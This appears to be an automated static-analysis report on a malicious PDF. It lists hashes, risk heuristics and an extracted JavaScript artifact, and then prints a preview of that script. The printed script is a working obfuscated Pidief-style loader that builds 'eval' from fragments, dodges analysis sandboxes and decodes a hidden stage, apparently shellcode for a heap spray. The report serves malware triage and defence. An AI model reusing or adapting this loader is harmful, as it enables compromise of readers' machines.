Malicious PDF — malware analysis report

Static analysis result for SHA-256 faed545dff01ef61…

MALICIOUS

PDF

12.1 KB First seen: 2026-05-08
MD5: 8c5bf14c54672148c5794d8bbab6164f SHA-1: c7b2bfaf7aeaa5c88294a870315bb01d215dbf83 SHA-256: faed545dff01ef61173d7f33e66025041e78b4decf77c8126bfc61c53905d869
88 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x330 11332 bytes
SHA-256: 2c6eb90f03c7db473cbbf84df92975c2fc3802097c800af2203f985631553bd5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
j='vt34t';
a=new String("if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@");
b="l";
b2="a"
+b;
z='0a1a2a3a2a4a5a4a6a6a7a8a9a10a11a4a12a13a14a15a16a16a12a13a1a17a3a18a12a13a14a19a1a17a12a13a20a19a3a18a12a13a3a21a15a18a12a13a15a15a19a1a12a13a16a18a17a22a12a13a18a22a14a7a12a13a14a7a15a22a12a13a22a17a18a22a12a13a20a22a14a7a12a13a19a16a5a17a12a13a20a16a14a7a12a13a15a15a22a14a12a13a16a16a23a7a12a13a19a3a14a7a12a13a22a15a15a17a12a13a15a15a20a18a12a13a14a5a24a17a12a13a5a19a3a3a12a13a1a1a5a22a12a13a7a14a1a1a12a13a18a22a14a7a12a13a17a15a15a22a12a13a15a21a18a16a12a13a20a19a22a16a12a13a14a20a1a7a12a13a24a18a15a18a12a13a3a18a14a19a12a13a19a5a20a19a12a13a3a7a3a21a12a13a19a5a18a17a12a13a14a7a19a16a12a13a15a17a20a19a12a13a20a18a14a7a12a13a20a14a15a19a12a13a1a19a22a15a12a13a14a7a19a16a12a13a24a22a20a16a12a13a1a19a22a15a12a13a17a21a15a15a12a13a18a5a18a21a12a13a25a23a1a17a12a13a17a19a22a15a12a13a23a7a15a15a12a13a7a3a22a1a12a13a15a14a5a22a12a13a20a18a1a24a12a13a17a5a22a14a12a13a22a23a17a7a12a13a23a25a22a15a12a13a3a7a18a22a12a13a15a7a1a5a12a13a20a19a5a1a12a13a19a3a3a16a12a13a19a3a14a7a12a13a22a15a24a18a12a13a16a16a23a23a12a13a22a17a14a7a12a13a14a23a18a7a12a13a3a17a18a16a12a13a19a18a1a1a12a13a22a17a24a18a12a13a23a14a14a7a12a13a23a23a22a15a12a13a22a18a14a7a12a13a22a15a14a7a12a13a25a7a17a19a12a13a19a21a19a3a12a13a3a7a17a15a12a13a25a23a19a15a12a13a16a14a14a7a12a13a14a22a24a22a12a13a22a17a20a23a12a13a20a18a15a15a12a13a21a16a22a15a12a13a1a15a3a7a12a13a16a14a14a7a12a13a14a7a22a14a12a13a16a25a1a20a12a13a19a21a22a19a12a13a21a14a3a14a12a13a1a1a1a1a12a13a3a24a1a1a12a13a3a14a1a21a12a13a22a22a22a22a12a13a22a22a22a22a12a13a19a22a19a14a12a13a18a22a16a25a12a13a1a1a16a14a12a13a22a22a22a22a12a13a19a22a22a22a12a13a17a22a14a15a12a13a19a22a5a21a12a13a14a7a19a19a12a13a14a7a3a17a12a13a5a22a19a3a12a13a17a15a14a15a12a13a1a1a22a19a12a13a16a14a3a15a12a13a16a3a16a1a12a13a22a22a22a22a12a13a20a19a16a14a12a13a16a17a20a24a12a13a19a18a16a23a12a13a5a16a1a1a12a13a17a18a14a15a12a13a14a7a22a14a12a13a3a14a3a14a12a13a1a1a16a5a12a13a1a1a1a1a12a13a22a24a3a7a12a13a20a24a3a7a12a13a3a17a14a5a12a13a22a5a22a18a12a13a22a22a22a22a12a13a19a17a14a23a12a13a22a17a24a18a12a13a22a18a17a20a12a13a20a24a24a18a12a13a16a20a16a19a12a13a17a20a20a15a12a13a24a18a18a18a12a13a20a16a22a18a12a13a15a15a20a24a12a13a17a20a15a24a12a13a24a18a18a18a12a13a24a22a22a14a12a13a20a15a24a23a12a13a19a15a24a22a12a13a1a14a16a14a12a13a22a22a22a22a12a13a1a1a22a22a12a13a22a17a19a16a12a13a3a14a14a7a12a13a17a21a15a15a12a13a17a20a19a5a12a13a5a23a18a18a12a13a20a20a22a22a12a13a16a24a20a22a12a13a17a20a20a18a12a13a5a23a18a18a12a13a24a3a22a19a12a13a16a17a16a18a12a13a17a16a16a17a12a13a5a23a18a18a12a13a22a22a22a21a12a13a14a25a19a21a12a13a22a18a17a5a12a13a14a14a15a22a12a13a5a23a18a18a12a13a18a5a22a18a12a13a16a25a19a5a12a13a16a25a22a22a12a13a19a15a22a22a12a13a16a25a19a20a12a13a1a1a22a22a12a13a5a18a19a16a12a13a17a22a14a19a12a13a5a16a20a19a12a13a22a22a16a25a12a13a1a1a19a15a12a13a22a18a19a16a12a13a22a22a16a25a12a13a3a7a14a15a12a13a19a15a22a17a12a13a19a16a1a1a12a13a14a15a22a18a12a13a22a17a17a15a12a13a22a24a3a7a12a13a5a15a3a7a12a13a14a22a18a20a12a13a22a22a15a1a12a13a1a25a20a19a12a13a14a22a18a20a12a13a22a22a15a1a12a13a17a18a20a19a12a13a22a22a16a25a12a13a1a3a16a25a12a13a19a16a1a1a12a13a3a14a22a14a12a13a1a3a21a17a12a13a1a1a1a1a12a13a18a3a14a3a12a13a3a17a22a3a12a13a1a3a21a14a12a13a22a3a14a25a12a13a16a1a14a21a12a13a7a23a22a5a12a13a17a25a15a15a12a13a19a7a14a25a12a13a17a16a5a7a12a13a20a21a18a16a12a13a5a25a15a16a12a13a20a22a24a1a12a13a20a18a16a14a12a13a20a22a20a18a12a13a24a1a15a25a12a13a15a20a24a1a12a13a24a3a15a18a12a13a15a24a15a14a12a13a15a24a24a3a12a13a15a19a15a22a12a13a15a5a24a3a12a13a15a16a15a18a12a13a20a20a24a1a12a13a20a22a24a3a12a13a20a22a16a14a12a13a16a16a15a1a12a13a15a21a15a23a12a13a24a16a15a20a12a13a15a23a16a19a12a13a22a22a15a19a12a13a22a22a22a22a4a26a1a13a27a17a28a0a29a27a30a3a31a32a33a2a33a25a34a35a36a6a37a38a39a0a40a3a2a33a25a41a40a3a27a10a28a39a42a24a43a35a36a6a37a33a25a44a11a33a25a26a45a33a25a11a33a25a41a9a13a7a9a28a33a0a27a10a2a22a34a35a36a46a24a6a26a33a3a28a13a33a27a30a33a25a26a45a30a1a13a27a17a28a0a29a27a30a7a47a2a6a37a32a25a33a30a23a48a10a11a27a3a38a30a49a33a33a25a36a2a6a26a32a25a33a30a32a38a11a22a47a22a17a22a17a22a17a22a17a26a32a25a33a30a25a23a23a33a11a22a47a18a22a22a22a22a22a26a32a25a33a30a50a25a36a40a29a25a23a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a32a25a33a30a9a17a51a40a3a27a11a50a25a36a40a29a25a23a41a40a3a27a10a28a39a42a24a26a32a25a33a30a35a36a11a25a23a23a33a52a2a9a17a51a40a3a27a44a22a47a15a14a6a26a32a25a33a30a36a25a33a9a50a11a13a27a3a9a17a25a50a3a2a53a12a13a21a22a21a22a12a13a21a22a21a22a53a6a26a36a25a33a9a50a11a3a31a32a33a2a36a25a33a9a50a34a35a36a6a26a32a25a33a30a17a29a13a27a28a24a11a2a32a38a52a22a47a18a22a22a22a22a22a6a46a25a23a23a33a26a1a29a33a2a32a25a33a30a17a29a13a27a28a11a22a26a17a29a13a27a28a43a17a29a13a27a28a24a26a17a29a13a27a28a44a44a6a37a23a48a10a54a17a29a13a27a28a55a11a36a25a33a9a50a44a50a25a36a40a29a25a23a26a45a30a32a25a33a30a29a32a3a33a1a40a29a38a11a13a27a3a9a17a25a50a3a2a53a12a13a22a17a22a17a12a13a22a17a22a17a53a6a26a38a39a0a40a3a2a29a32a3a33a1a40a29a38a41a40a3a27a10a28a39a43a18a18a21a19a24a6a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try
{
if((app+'').substr(2,4) == 'bjec')throw 1;
}catch(q){
e=j[
's'
+
'u'+"b"+'str']();
try{
b='e'+"v"+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
{
s="";
for(j=0;j<z['length'];j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[
j]];
}
}}

try{if(!google.search())new ewt;}
catch(q){
e(s);
}

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